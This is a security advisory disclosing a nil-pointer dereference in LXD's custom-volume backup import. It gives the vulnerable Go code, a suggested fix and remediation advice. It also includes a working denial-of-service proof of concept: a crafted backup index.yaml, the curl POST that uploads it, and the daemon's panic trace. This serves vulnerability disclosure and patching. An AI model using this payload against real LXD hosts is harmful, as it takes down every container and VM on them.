GHSA-j93m-3j9p-m5m8: LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at
Summary
(sibling-field variant of CVE-2026-40197 fix 05bc272)
(lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backendlxd.go contains an unguarded time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[].expiresat field is omitted.
This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.
Vulnerable code
lxd/storage/backendlxd.go, CreateCustomVolumeFromBackup:
go // Line 8141-8150 — earliest snapshot validation pass (caches s == nil) for i, snap := range customVol.Snapshots { if snap == nil { return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i) } err = drivers.ValidVolumeName(snap.Name) ... }
// Line 8196-8216 — the snapshot DB-create loop for i, s := range customVol.Snapshots { if s == nil { return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i) } snapshot := s ... // Line 8216 — UNGUARDED time.Time deref: err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapshot.ExpiresAt, // <-- panics when expiresat omitted in YAML snapVol.ContentType(), true, true)
ExpiresAt is declared time.Time (shared/api/storagepoolvolumesnapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = … }):
| Line | Code | Guarded? | |------|------|----------| | 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES | | 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES | | 1558-1559 | srcSnap.ExpiresAt | YES | | 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES | | 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES | | 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES | | 5527-5528 | srcSnap.ExpiresAt | YES | | 8216 | CreateCustomVolumeFromBackup snapshot.ExpiresAt | NO |
Reach
1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the EntitlementCanCreateStorageVolumes entitlement on any project. Same auth gate as CVE-2026-40197. 2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-LXD-name: <name>. 3. Body is a tar containing backup/index.yaml with type: custom, volumes[0] non-nil, and volumes[0].snapshots[0] non-nil but missing expiresat. 4. lxd/storagevolumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> snapshot.ExpiresAt on line 8216 panics on the nil time.Time. 5. The Go runtime kills the entire lxd daemon process. Repeated POSTs are a persistent denial of service.
Minimal backup/index.yaml:
yaml name: poc-vol backend: dir pool: default type: custom optimized: false optimizedheader: false snapshots: [snap0] config: version: 2 pools: - {name: default, driver: dir, config: {}} volumes: - name: poc-vol type: custom pool: default contenttype: filesystem config: {} snapshots: - name: snap0 description: snap0 config: {} # expiresat intentionally omitted
Proof of concept (end-to-end against running daemon)
Bundled in the report: makebackup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.
Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.
bash $ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \ --data-binary @/tmp/poc-vol-lxd.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-LXD-name: poc-vol' \ http://lxd/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","statuscode":100,...}
$ ps -ef | grep lxd | grep -v grep # daemon GONE
Daemon panic from /tmp/lxd.out:
panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
goroutine 683 [running]: github.com/canonical/lxd/lxd/storage.(lxdBackend).CreateCustomVolumeFromBackup(...) github.com/canonical/lxd/lxd/storage/backendlxd.go:8216 +0xf58 main.createStoragePoolVolumeFromBackup.func6(...) github.com/canonical/lxd/lxd/storagevolumes.go:2879 +0x2a0 github.com/canonical/lxd/lxd/operations.(Operation).start.func1(...) github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c created by github.com/canonical/lxd/lxd/operations.(Operation).start in goroutine 655 github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8
Stack frame backendlxd.go:8216 is the literal snapshot.ExpiresAt line.
Impact
- Severity: denial of service against the entire lxd daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with cancreatestoragevolumes on any project. Not behind the admin tier. - Network attack surface: the LXD REST API on :8443 or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). - Versions: confirmed at lxd 6.8 (HEAD); the same code exists in the v5.21 LTS line as the parent fix 05bc272 was a cherry-pick from incus.
Suggested fix
Mirror the guard pattern already in use elsewhere in this file:
diff --- a/lxd/storage/backendlxd.go +++ b/lxd/storage/backendlxd.go @@ -8210,9 +8210,14 @@ func (b lxdBackend) CreateCustomVolumeFromBackup(...) error { snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName) snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)
// Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). - err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapshot.ExpiresAt, snapVol.ContentType(), true, true) + var snapExpiryDate time.Time + if snapshot.ExpiresAt != nil { + snapExpiryDate = snapshot.ExpiresAt + } + + err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true) if err != nil { return err }
Related advisories
- GHSA-r7w7-mmxr-47r9 (CVE-2026-40197) / commit 05bc272 (cherry-pick of incus 985a1dedf) — parent fix: added s == nil checks at multiple consumer sites, missed the snapshot.ExpiresAt deref at line 8216. - lxc/incus GHSA-xhqx-mgh3-3h7q (sibling report filed by same reporter against the upstream-equivalent line internal/server/storage/backend.go:7731 in incus).
The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.
Reporter notes
Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/canonical/lxdto a version that resolves this vulnerability.Fixed in 0.0.0-20260622081844-85f897013ccd